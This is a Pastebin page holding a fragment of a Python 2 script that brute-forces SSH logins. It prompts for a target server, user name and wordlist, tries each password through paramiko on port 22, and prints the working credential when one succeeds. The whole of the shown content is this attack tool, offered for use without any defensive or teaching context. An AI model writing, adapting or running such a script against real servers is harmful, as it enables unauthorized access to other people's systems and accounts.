Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- \n\n
- """
- def _brute_():
- global host,user,wordlist;
- host = raw_input("[*] Target Server : ");
- user = raw_input("[*] Target User : ");
- wordlist = raw_input("[*] Wordlist : ");
- ssh = paramiko.SSHClient();
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy());
- f = open(wordlist,'r');
- data = f.readlines();
- len_data = len(data);
- print "[!] wordlist contain [ %s ] words."%len_data
- print "[!] connected to target ssh [ %s ]."%host
- print "[!] starting attack on user [ %s ]."%user
- print "\n\n";
- for pas in data:
- pas = pas.replace("\n","");
- len_data -= 1;
- try:
- ssh.connect(host,port=22,username=user, password=pas);
- print "\n";
- print "------------------------------------------------------------------"
- print "[ %s ] [success] user : %s | password : %s ."%(len_data,user,pas);
- print "------------------------------------------------------------------"
- sys.exit(1);
- except paramiko.AuthenticationException:
- print "[ %s ] [error] password %s is not correct."%(len_data,pas);
- try:
- _brute_();
- except KeyboardInterrupt:
- print "\n\n\t[ok] operation cancelled successfully [ ctrl + c ] pressed.\n\n";
- sys.exit(1);
- except socket.error:
- print "\n\t[fail] unable to establish connection on target ssh [ %s ]."%host;
- sys.exit(1);
- except IOError:
- print "\n\t[fail] unable to open or read wordlist. please recheck it again.\n\n";
- sys.exit(1);
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement